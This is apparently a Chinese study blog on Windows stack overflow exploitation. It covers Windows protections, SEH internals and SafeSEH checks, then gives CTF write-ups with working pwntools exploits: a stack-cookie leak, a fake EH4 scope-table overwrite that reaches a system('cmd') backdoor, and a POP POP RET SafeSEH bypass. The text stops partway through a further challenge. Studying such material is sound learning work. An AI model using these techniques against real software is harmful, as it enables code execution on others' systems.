Windows_栈溢出学习

字数统计: 11.4k字   |   阅读时长≈ 52分

从上次学习windows pwn已经过去半年了，学习Windows一直在我的todo list中。所以打算5月详细全面的学习一下Windows的漏洞利用。希望对以下知识有全面了解：Windows的常用保护机制，及绕过方法；Windows漏洞利用的基础知识点；Windows栈溢出的漏洞利用手法；Windows heap的运行机制；Windows heap的利用手法；最后希望能够调试几个Windows应用层漏洞和提权漏洞，并且对Windows 内核有初步了解。

Windows基础知识

Windows程序保护

  1. ASLR：与Linux的PIE相同，指地址随机化，将在程序启动时将DLL随机的加载到内存中的未知，自Windows 10开始已经在系统中被配置为默认启动；

  2. High Entropy VA：高熵64位地址空间布局随机化，开启后标识此程序的随机化取值空间为64 bit，这会导致攻击者更难去推测随机化后的地址；

  3. Force Integrity：强制签名保护，开启后标识程序加载时需要验证其中的前命，如果签名不正确，程序将会被阻止运行；

  4. Isolation：隔离保护，开启后表示此程序加载时将会在一个相对独立的隔离环境中被加载，从而阻止攻击者过度提升权限；

  5. NX/DEP/PAE：NX保护指的是内存页不可运行。属于系统级的内存保护功能，能够将一页或多页标记为不可执行，从而防止从该内存区域运行代码，以帮助防止利用缓冲区溢出。防止代码在数据页面（例如堆、栈和内存池）中运行，在Windows中常称为DEP。

    PAE指物理地址拓展，PAE是一项处理器功能，使x86处理器可以在部分windows版本上访问4 GB以上的物理内存。在基于x86的系统上运行的某些32位版本的Windows Server可以使用PAE访问最多64 GB或128 GB的物理内存，具体取决于处理器的物理地址大小。使用PAE，操作系统将从两级线性地址转换为三级地址转换。两级线性地址转换将线性地址拆分为3个独立的字段索引到内存表中，三级地址转换将其拆分为4个独立的字段：一个2位字段，两个9位字段和一个12位字段。PAE模式下的页表条目(PTE)和页目录条目(PDE)的大小从32位增加到64位。附加位允许操作系统PTE或PDE引用4 GB以上的物理内存，同时PAE将允许在基于x86的系统上运行32位windows中启用DEP等功能。

  6. SEHOP：即结构化异常处理保护(structured Exception Handling Overwrite Protection)，这个保护能够防止攻击者利用结构化异常处理来进行进一步的利用。

  7. CFG：即控制流防护这项技术通过在间接跳转前插入校验代码，检查目标地址的有效性，进而可以阻止执行流跳转到预期之外的地点，最终及时有效的进行异常处理，避免引发相关的安全问题。

  8. RFG：即返回地址防护，在每个函数头部将返回地址保存到 fs:[rsp](thread control stack)，并在函数返回前将其与栈上返回地址进行比较，从而有效阻止攻击；

  9. SafeSEH：安全结构化异常处理(Safe Structured Exception Handlers)，白名单版的安全沙箱，定义一些异常处理程序，并基于此构造安全结构化异常处理表，程序运行后，安全结构化异常处理表之外的异常处理程序将会被阻止运行；

  10. GS：类似于Linux中的Canary保护，开启后，会在返回地址和BP之前压入一个额外的 Security Cookie，系统会比较栈中的这个值和原先存放在 .data中的值做一个比较，如果两者不吻合，则说明发生了栈溢出；

  11. Authenticode：签名保护；

  12. .NET：DLL混淆级保护

栈溢出覆盖返回地址

首先以一道最简单的栈溢出来稍微熟悉一下windows的一些传参技巧和调试技巧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __cdecl wrong(char *input)
{
  char *v1; // edx
  unsigned int v2; // ebx
  char *v3; // edi
  char *v4; // edx
  char s[50]; // [esp+1Eh] [ebp-3Ah] BYREF

  v1 = s;
  v2 = 50;
  if ( ((unsigned __int8)s & 2) != 0 )
  {
    *(_WORD *)s = 0;
    v1 = &s[2];
    v2 = '0';
  }
  memset(v1, 0, 4 * (v2 >> 2));
  v3 = &v1[4 * (v2 >> 2)];
  v4 = v3;
  if ( (v2 & 2) != 0 )
  {
    *(_WORD *)v3 = 0;
    v4 = v3 + 2;
  }
  if ( (v2 & 1) != 0 )
    *v4 = 0;
  strcpy(s, input);
  printf("%s", s);
}

在wrong函数中调用 strcpy实现了一个栈溢出。

所以只需要覆盖返回地址即可。

由于是32位的，所以使用了栈传参。如果是64位的，则依次使用 rcx\rdx\r8\r9传参。

EXP

1
2
3
4
5
6
7
from pwn import *
context.update(log_level='debug')

fp = open("tsctf.txt", 'w')
payload = 'a'*0x3a+'a'*4+p32(0x4016b0)
fp.write(payload)
fp.close()

栈溢出之泄露StackCookie

inCTF-warmup

程序分析

存在一个栈溢出漏洞，并且存在一个函数后门。栈溢出覆盖函数返回地址进入后门即可。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  char Buffer[64]; // [esp+0h] [ebp-44h] BYREF

  sub_2A5E();
  Output((int)aWelcomeBanner, Buffer[0]);
  sub_1AAF();
  Output((int)aDidYouMakeSome, Buffer[0]);
  ReadFile(hFile, Buffer, 0x60u, 0, 0);
  return 0;
}

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
leak = 1
if debug == 1:
    p = remote('192.168.44.175', 10002)

def Pwn():
    raw_input()
    payload = '%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
    p.sendlineafter(' what you want :', payload)
    data = p.recvuntil('\r\n', drop=True)
    print('data:',data)
    ret_addr = int(data[96:104], 16)
    print('ret_addr:',hex(ret_addr))
    plt_base = ret_addr-0x6d27
    print('plt_base:',hex(plt_base))
    stack_addr = int(data[88:96], 16)
    print('stack_data:',hex(stack_addr))
    main_stack = stack_addr
    print('main_stack:',hex(main_stack))
    StackCookie = int(data[80:88], 16)
    print('Cookie:',hex(StackCookie))
    Cookie = StackCookie^(stack_addr-0x4c)
    print('Cookie:',hex(Cookie))

    back_addr = plt_base+0x6c80
    SCookie = main_stack^Cookie

    payload = 'a'*0x40+p32(SCookie)+p32(0)+p32(back_addr)
    p.sendlineafter('out of it ??? :', payload)

    p.interactive()

Pwn()

栈溢出之劫持Scope_table

除了最简单的栈溢出，现在Windows的栈溢出都需要劫持SEH。

结构化异常处理SEH

结构化异常处理是Windows操作系统上对c/c++程序语言做的语法拓展，用于处理异常事件的程序控制结构。异常事件是指打断程序正常执行流程的不在期望之中的硬件、软件事件。硬件异常是CPU抛出的如 除0、数值溢出等；软件异常是操作系统与程序通过RaiseException语句抛出的异常。Microsoft拓展了c语言的语法，用 try-except与 try-finally语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态供调试、从错误中恢复、尝试重新执行出错的代码或者关闭程序等。一个 try语句不能既有 __except，又有 __finally。但 try-except与 try-finally语句可以嵌套使用。

SHE相关结构体

TIB结构

TIB(Thread Information Block，线程信息块)，是保存线程信息的数据结构，存在于 x86机器上，也被称为 win32的 TEB(Thread Environment Block，线程环境块)。TIB/TEB是操作系统为了保存每个线程的私有数据创建的，每个线程都有自己的 TIB/TEB。

TEB结构位于 Windows.h内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _TEB {
  PVOID Reserved1[12];
  PPEB  ProcessEnvironmentBlock;
  PVOID Reserved2[399];
  BYTE  Reserved3[1952];
  PVOID TlsSlots[64];
  BYTE  Reserved4[8];
  PVOID Reserved5[26];
  PVOID ReservedForOle;
  PVOID Reserved6[4];
  PVOID TlsExpansionSlots;
} TEB, *PTEB;

TIB结构如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Code in https://source.winehq.org/source/include/winnt.h#2635

typedef struct _NT_TIB{
    struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
    PVOID StackBase;    // 当前线程所使用的栈的栈底
    PVOID StackLimit;   // 当前线程所使用的栈的栈顶
    PVOID SubSystemTib; // 子系统
    union {
        PVOID FiberData;
        ULONG Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;

在这个结构体中有异常处理有关的成员是指向 _EXCEPTION_REGISTRATION_RECORD结构的 Exceptionlist指针。

_EXCEPTION_REGISTRATION_RECORD结构体

该结构体主要用于描述线程异常处理句柄的地址，多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系。

结构内容为：

1
2
3
4
5
6
//  Code in https://source.winehq.org/source/include/winnt.h#2623

typedef struct _EXCEPTION_REGISTRATION_RECORD{
    struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
    PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

img

导入表和导出表

Windows程序没有延迟绑定机制也没有 PLT/GOT表，但是 Windows程序显然也是要调用所谓的库函数的，windows下的函数库是 DLL文件，类似于 unix下的 libc文件，程序调用库函数需要借助的就是导入表和导出表。

导入表是 PE数据组织中的一个很重要的组成部分，是为实现代码重用而设置的。通过分析导入表数据，可以获得诸如 PE文件的指令中调用了多少外来函数，以及这些外来函数都存在于哪些动态链接库里等信息。Windows加载器在运行 PE时会将导入表中声明的动态链接库一并加载到进程的地址空间，并修正指令代码中调用的函数地址。在数据目录中一共有四种类型的数据与带入表数据有关：导入表、导入函数地址表、绑定导入表、延迟加载导入表。

程序中，导入表的地址通常位于 .idata段：

1
2
3
4
5
6
7
8
9
10
11
.idata:00409160                 extrn __IAT_start__:dword
.idata:00409160                                         ; DATA XREF: _CloseHandle@4↑r
.idata:00409164 ; HANDLE __stdcall _CreateThread_24(LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
.idata:00409164                 extrn __imp__CreateThread@24:dword
.idata:00409164                                         ; DATA XREF: _CreateThread@24↑r
.idata:00409168 ; void __stdcall _DeleteCriticalSection_4(LPCRITICAL_SECTION lpCriticalSection)
.idata:00409168                 extrn __imp__DeleteCriticalSection@4:dword
.idata:00409168                                         ; DATA XREF: _DeleteCriticalSection@4↑r
.idata:0040916C ; BOOL __stdcall _DuplicateHandle_28(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
.idata:0040916C                 extrn __imp__DuplicateHandle@28:dword
.idata:0040916C                                         ; DATA XREF:

HITB GSEC BABYSTACK

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  FILE *v4; // eax
  int v5; // [esp+20h] [ebp-C0h]
  int v6; // [esp+24h] [ebp-BCh]
  _DWORD *v7; // [esp+28h] [ebp-B8h]
  int i; // [esp+2Ch] [ebp-B4h]
  char v9[128]; // [esp+44h] [ebp-9Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+C8h] [ebp-18h]

  ms_exc.registration.TryLevel = 0;
  v3 = _acrt_iob_func(1u);
  setvbuf(v3, 0, 4, 0);
  v4 = _acrt_iob_func(0);
  setvbuf(v4, 0, 4, 0);
  puts("ouch! Do not kill me , I will tell you everything");
  sub_401420("stack address = 0x%x\n", v9);
  sub_401420("main address = 0x%x\n", main);
  for ( i = 0; i < 10; ++i )
  {
    puts("Do you want to know more?");
    get_input((int)v9, 10);
    v6 = strcmp(v9, "yes");
    if ( v6 )
      v6 = v6 < 0 ? -1 : 1;
    if ( v6 )
    {
      v5 = strcmp(v9, "no");
      if ( v5 )
        v5 = v5 < 0 ? -1 : 1;
      if ( !v5 )
        break;
      get_input((int)v9, 256);                  // overflow
    }
    else
    {
      puts("Where do you want to know");
      v7 = (_DWORD *)get_num();
      sub_401420("Address 0x%x value is 0x%x\n", v7, *v7);
    }
  }
  ms_exc.registration.TryLevel = -2;
  puts("I can tell you everything, but I never believe 1+1=2");
  puts("AAAA, you kill me just because I don't think 1+1=2??");
  exit(0);
}

程序逻辑比较简单，有10次任意地址读的机会，以及一次溢出。

那么，就是一个很简单的栈溢出漏洞。但是，可以发现程序最后没有使用ret来退出，而是使用了一个 exit(0)函数。那么对于传统的覆写返回地址来劫持就失效了。

利用分析

所以，这里就需要思考能否劫持其他的虚表函数。正如上面所介绍的windows自己引入了一个虚表函数 SEH。如果能够劫持 SEH的入口地址，然后自己伪造一个 SEH的虚函数表，最后去触发就能劫持程序流程了。但是劫持 SEH，需要满足各项检查。这里一一说明。

先分析一下函数最开始的压入栈的部分：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:004010B0 ; __unwind { // __except_handler4
.text:004010B0                 push    ebp	//压入ebp
.text:004010B1                 mov     ebp, esp	//交换ebp
.text:004010B3                 push    0FFFFFFFEh	//压入0xFFFFFFFE
.text:004010B5                 push    offset stru_403688//压入_EH4_Scope_table地址
.text:004010BA                 push    offset __except_handler4//压入except_handler函数地址
.text:004010BF                 mov     eax, large fs:0//TIB[0]
.text:004010C5                 push    eax//压入_EXCEPTION_REGISTRATION_RECORD
.text:004010C6                 add     esp, 0FFFFFF40h//抬高栈顶
.text:004010CC                 mov     eax, ___security_cookie
.text:004010D1                 xor     [ebp+ms_exc.registration.ScopeTable], eax//将security_cookie于scopetable异或
.text:004010D4                 xor     eax, ebp//加密ebp
.text:004010D6                 mov     [ebp+var_1C], eax//压入security_cookie
.text:004010D9                 push    ebx
.text:004010DA                 push    esi
.text:004010DB                 push    edi
.text:004010DC                 push    eax
.text:004010DD                 lea     eax, [ebp+ms_exc.registration]
//将__except_handler4添加到TIB顶部 
.text:004010E0                 mov     large fs:0, eax
.text:004010E6                 mov     [ebp+ms_exc.old_esp], esp
.text:004010E9                 mov     dword ptr [ebp+var_B8], 0
.text:004010F3                 mov     [ebp+var_CC], 1
.text:004010FD                 mov     [ebp+var_D0], 1

这里首先了解几个概念：

Scope table：保存当前函数中 __try块相匹配的 __except或 __finally的地址值。

1
2
3
4
5
6
7
8
9
.rdata:00403688 stru_403688     dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:00403688                                         ; DATA XREF: _main+5↑o
.rdata:00403688                 dd 0                    ; GSCookieXOROffset
.rdata:00403688                 dd 0FFFFFF20h           ; EHCookieOffset
.rdata:00403688                 dd 0                    ; EHCookieXOROffset
.rdata:00403688                 dd 0FFFFFFFEh           ; ScopeRecord.EnclosingLevel
.rdata:00403688                 dd offset loc_401348    ; ScopeRecord.FilterFunc	
.rdata:00403688                 dd offset loc_40134E    ; ScopeRecord.HandlerFunc
.rdata:004036A4                 align 8

其 C结构如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct _EH4_SCOPETABLE {
        DWORD GSCookieOffset;
        DWORD GSCookieXOROffset;
        DWORD EHCookieOffset;
        DWORD EHCookieXOROffset;
        _EH4_SCOPETABLE_RECORD ScopeRecord[1];
};

struct _EH4_SCOPETABLE_RECORD {
        DWORD EnclosingLevel;
        long (*FilterFunc)();
        union {
            void (*HandlerAddress)();
            void (*FinallyFunc)(); 
    };
};

其中 FilterFunc与 FinallyFunc是我们自定义的 __except或 __finally函数的地址。

fs寄存器：fs寄存器是指向上面所讲的 TEB结构，所以上面 lea eax, [ebp-0x10]与 mov large fs:0, eax指令就是在栈中插入一个 SEH异常处理结构体到 TIB顶部，__except_handler4是添加的系统默认异常处理回调函数，当发生异常时会首先执行它。

1
2
3
4
int __cdecl _except_handler4(int a1, int a2, int a3, int a4)
{
  return except_handler4_common((int)&__security_cookie, (int)__security_check_cookie, a1, a2, a3, a4);
}

嵌套调用了 except_handler4_common函数，该函数首先会检查栈上的 GS值，然后根据 securityCookies解密 _EH4_SCOPETABLE的地址，最终会调用到 _EH4_SCOPETABLE里面的 FilterFunc与 FinallyFunc函数，也就是我们自定义的 __except或 __finally函数的地址。如果能够伪造一个 _EH4_SCOPETABLE结构，里面的FilterFunc函数指针写成自己的，其他字段不改变，覆盖栈中的 _EH4_SCOPETABLE_addr为伪造地址，就能实现任意地址函数调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        //获取GS_Cookie
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        //检查GS_Cookie是否一致
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

    // sehFrame 等于 主函数 ebp - 10h 位置, framePointer 等于主函数 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;

    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);

    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 FilterFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

最终函数栈帧如下：

SEH4 栈内存布局

那么伪造结构如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_scope_table{
	GS_COOKie_Offset;	//需要修改 
	GS_Cookie_XOR_Offset;
	EH_Cookie_Offset;
	EH_Cookie_XOR_Offset;
    ScopeRecord.EnclosingLevel;
	FilterFunc;
    system('cmd');
}

payload += fake_scope_table;
payload += padding;
payload += GS_Cookie;		//保证GS_Cookie正确
payload += aaaa;
payload += bbbb;
payload += Next_SEH_Frame;	//保证Next_SEH_Frame正确
payload += SEH_Handler;		//保证SEH_Handler正确
payload += fake_scope_table_addr;

所以总体利用步骤如下：

  1. 泄露必要数据

泄露一些在栈上，我们能够轻松得到的数据：GS Cookie、Next_SEH_Frame、SEH_Handler、GS_Cookie、security_cookie。

  1. 伪造 fake_scope_table

然后需要伪造 fake_scope_table，这里主要需要得到一个 system('cmd')函数的地址。这里简单化了，题目中就有一个 system('cmd')的后门：

1
2
3
4
.text:0040138B                 jnz     short loc_40139B
.text:0040138D                 push    offset Command  ; "cmd"
.text:00401392                 call    ds:system
.text:00401398                 add     esp, 4

所以伪造的 fake_scope_table如下：

1
2
3
4
5
6
p32(0xffffffe4)		//GSCookieOffset
p32(0)				//GSCookieXOROffset
p32(0xffffff20)		//EHCookieOffset
p32(0)				//EHCookieXOROffset
p32(0xfffffffe)		//ScopeRecord.EnclosingLevel
p32(system_addr)	//FilterFunc
  1. 然后完整的ROP如下
1
2
3
4
5
6
7
rop += fake_scope_table
rop += padding
rop += ebp_addr ^ security_cookie
rop += a*8
rop += Next_SEH_Frame
rop += SEH_Handler
rop += fake_scope_table_addr ^ security_cookie
  1. 如何触发

这里主要讲清楚如何触发 FilterFunc或者 FinalFunc。

这里去触发调用 Scope_table，是在输出一个地址的值时，输入一个立即数，会爆出一个内存访问错误。这里即会先去执行 except里的 FilterFunc。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# encoding=utf-8
from pwn import *
context.log_level = "debug"
p = remote('192.168.44.149', 10009)
one_gadget = 0x0

def read_value(address):
    p.sendlineafter("know more?\r\n", "yes")
    p.sendlineafter("want to know\r\n", str(address))
    p.recvuntil("value is 0x")
    return int(p.recvline().strip(b"\r\n"), 16)


security_cookie_offset = 0x00404004 - 0x004010B0
shell_offset = 0x0040138D - 0x004010B0


p.recvuntil("stack address = 0x")
stack_address = int(p.recvline().strip(b"\n"), 16)
p.recvuntil("main address = 0x")
main_address = int(p.recvline().strip(b"\n"), 16)
log.success("stack address {}".format(hex(stack_address)))
log.success("main address {}".format(hex(main_address)))

raw_input()

security_cookie_address = security_cookie_offset + main_address
security_cookie = read_value(security_cookie_address)
ebp_address = stack_address + 0x9c
seh_next = read_value(ebp_address - 0x10)
gs_value = read_value(ebp_address - 0x1c)
shell_address = main_address + shell_offset
_except_handler_address = main_address + 0x00401460 - 0x004010B0

fake_scope_table = p32(0x0FFFFFFE4)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFF20)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFFFE)
fake_scope_table += p32(shell_address)
fake_scope_table_address = stack_address + 0x4

p.sendlineafter("know more?\r\n", b"n")
payload = b"a"*4 + fake_scope_table.ljust(0x9c-0x1c-0x4, b"a")
payload += p32(ebp_address ^ security_cookie) # ebp-0x1c
payload += b"a"*8
payload += p32(seh_next) # ebp-0x10
payload += p32(_except_handler_address) # -0xc
payload += p32(fake_scope_table_address ^ security_cookie) # -0x8
payload += p32(0)
p.sendline(payload)
log.success("fake scope tabel address {}".format(hex(fake_scope_table_address)))

p.sendlineafter("know more?\r\n", "yes")
p.sendlineafter("want to know\r\n", "0")

p.interactive()

栈溢出之绕过Safe SEH

上面主要针对 Scope_table进行利用，但是一般程序会开启 SafeSEH。首先先了解 SafeSEH的保护机理，明白上面的方法有哪里不足，其次明白绕过 SafeSEH的方法以及适用条件。

SEH结构分析

SEH的全名为异常处理结构体(Structure Exception Handler)是Windows特有的一种异常机制，每一个 SEH包含两个 DWORD指针：Next SEH Record和 Exception Handler。

SEH需要通过 try/catch之类的异常处理函数生成，同时 SEH结构是存放在栈中的(仅32位环境)。

SEH结构入栈分析

通过 push offset __except_handler3将处理结构异常函数的地址入栈，通过 mov eax, large fs:0将上一个 SEH链的地址入栈，最后将自己的 SEH链接放入 fs:[0]作为链首，和我们上面分析的原理类似：

1
2
3
4
5
6
7
8
.text:004010B0 ; __unwind { // __except_handler4
.text:004010B0                 push    ebp	//压入ebp
.text:004010B1                 mov     ebp, esp	//交换ebp
.text:004010B3                 push    0FFFFFFFEh	//压入0xFFFFFFFE
.text:004010B5                 push    offset stru_403688//压入_EH4_Scope_table地址
.text:004010BA                 push    offset __except_handler4//压入except_handler函数地址
.text:004010BF                 mov     eax, large fs:0//TIB[0]
.text:004010C5                 push    eax//压入

SEH利用

SEH的简化流程图如下：

img

SEH是在栈中的也即有可能被我们写入的数据覆盖，其次 Handler指向的是我们的异常处理函数，会造成 EIP的跳转。所以基础的思路就是通过 覆盖 SE Handler，然后触发异常（除0），使得程序跳转到我们的 shellcode。

SafeSEH保护机制

  1. 检查异常处理链是否位于当前程序的栈中，如果不在当前栈中，程序将终止异常处理函数的调用；
  2. 检查异常处理函数指针是否指向当前程序的栈中，如果指向当前栈中，程序讲终止异常处理函数的调用；
  3. 在前面两项检查之后，程序调用全新的函数 RtlIsValidHandler()来对异常处理函数的有效性进行验证
  • 首先该函数判断异常处理函数地址是不是在加载模块的内存空间，如果属于加载模块的内存空间，检验函数将一次进行如下判断：
    • 判断程序设置 IMAGE_DLLCHARACTERISTIC_NO_SEH标识，设置了就忽略异常，函数返回校验失败
    • 检测程序是否包含 SEH表，如果包含，则将当前异常处理函数地址与该表进行匹配，匹配成功返回校验成功，否则失败
    • 判断程序是否设置 ILonly标识，设置了标识程序只包含 .NET编译人中间语言，函数直接返回校验失败
    • 判断异常处理函数是否位于不可执行页(non-executable page)上，若位于校验函数将检测 DEP是否开启，如若系统未开启DEP则返回校验成功，否则程序抛出访问违例的异常
  • 如果异常处理函数的地址没有包含在加载模块的内存空间，检验函数将直接执行DEP相关检测，函数将依次进行如下检验：
    • 判断异常处理函数是否位于不可执行页(non-executable page)上，若位于校验函数将检测 DEP是否开启，如若系统未开启DEP则返回校验成功，否则程序抛出访问违例的异常
    • 判断系统是否允许跳转到加载模块的内存空间外执行，如允许则返回校验成功，否则返回校验失败

img

RtlIsValidHandler()函数的伪代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
BOOL RtlIsValidHandler(handler)
{
    if (handler is in image){    //在加载模块内存空间内
        if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag ser)
            return FALSE;
        if (image has a SafeSEH table)     //含有安全SEH表，说明程序启用SafeSEH
            if (handler found in the table)    // 异常处理函数地址出现在安全SEH表中
                return TRUE;
            else    // 异常处理函数未出现在安全SEH表中
                return FALSE;
        if (image is a .NET assembly with the ILonly flag set)     //只包含IL
            return FALSE;
    }
    if (handler is on a non-executable page){    // 跑到不可执行页上
        if (ExecuteDispatchEnable bit set in the process flags)    //DEP关闭
            return TRUE;
        else
            raise ACESS_VIOLATION; //抛出访问违例异常
    }
    if (handler is not in an image){    // 在加载模块内存之外，并且在可执行页上
        if (ImageDispatchEnable bit set in the process flags)    // 允许在加载模块内存空间外执行
            return TRUE;
        else
            return FALSE;
    }
    return TRUE;    //前面所有条件都满足就允许这个异常处理函数执行
}

SafeSEH的缺点

  1. 异常处理函数位于加载模块内存之外，DEP关闭；
  2. 异常处理函数位于加载模块内存范围之内，相应模块未启用SafeSEH(安全SEH表为空)，同时相应模块不是纯 IL
  3. 异常处理函数位于加载模块范围之内，相应模块启用 SafeSEH(安全SEH表不为空)，异常处理函数地址包含在安全SEH表中

分析三种情况可行性：

  1. 只考虑SafeSEH，不考虑 DEP干扰，需要在加载模块内存范围之外找到一个跳板指令就可以转入 shellcode中执行；
  2. 第2种情况，可以利用未启用的SafeSEH模块中的指令作为跳板，转入shellcode执行；
  3. 第3种情况，可以考虑：a. 清空安全SEH表，造成该模块未启用SafeSEH假象；b. 将指令注册到安全SEH表中。

其他的方法：

  1. 不攻击SEH，使用覆盖返回地址或者虚函数表等信息；
  2. 利用SEH的安全校验的严重缺陷，如果SEH中的异常函数指针指向堆区，即使安全校验发现SEH不可信，仍会调用其已修改过的异常处理函数。（这种方法目前在windows10上不可行，因为windows加入了一个新的检查 MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE，它决定了是否允许在加载模块内存空间外执行）

绕过

通过覆盖 NEXT指针和 SE handler，使用未开启 Safe SEH模块的 gadgets绕过 SafeSEH。

覆盖 SEH handler使得程序执行这段 gadget，最终跳转到 shellcode。

向后跳转0x6字节的方案

如下布置栈帧，注意 JMP SHORT 0x6是通过机器码 EB 06 90 90(90 为 NOPs不影响程序执行)实现。

1
2
3
Before OverFlow[        ][ NEXT RECORD ][ SE Handler  ][ ]

After OverFlow  [  Nop’s ][ JMP SHORT 0x6 ][POP POP RET][ SHELLCODE ]

覆盖 SE handler指向一段 POP POP ret的 gadgets，当发生程序错误，调用 SEH会让程序跳转到 POP POP ret指令的未知，当执行到 ret的时候，会发现此时 ESP正好指向 JMP SHORT 0x6，程序执行这个代码，使得 EIP向后调转 0x6个字节，跳入在缓冲区后方的 shellcode，成功执行代码。

这里为什么 执行完 SE handler还能跳转到 JMP SHORT 0x6之前执行呢？原因在于 当异常发生时，异常分发器创建自己的栈帧，会把 EH Handler成员压入新创的栈帧中（作为函数起始的一部分），在 EH结构中有一个域是 EstablisherFrame，这个域指向异常注册记录(next seh)的地址并被压入栈中，当一个例程被调用的时候被压入的这个值都是位于 ESP+8的地方。

如果用 pop pop ret的地址覆盖 SEH Handler，第一个 pop将弹出栈顶的 4字节，接下来 pop继续从栈中弹出 4 字节，最后的 ret将把此时 esp所指向栈顶中的值 next SEH的地址放到 EIP中。

HITB GSEC Babyshellcode

在上面虽然提到了一种使用 jmp_gadget来绕过 Safe SEH的方法，但是在 windows 10下是否还能使用，这里需要进一步研究。但是这里可以先使用 未开启 Safe SEH保护的 dll中的 地址来绕过。

程序分析

在 init函数中，会调用 init_scmgr函数。并将 init_scmgr函数的地址赋值给 chunk_addr。

1
2
3
4
5
6
7
8
setvbuf(v2, 0, 4, 0);
if ( init_scmgr() < 0 )
{
  puts("error to init scmgr!");
  exit(0);
}
v3 = 1;
*chunk_addr = init_scmgr;

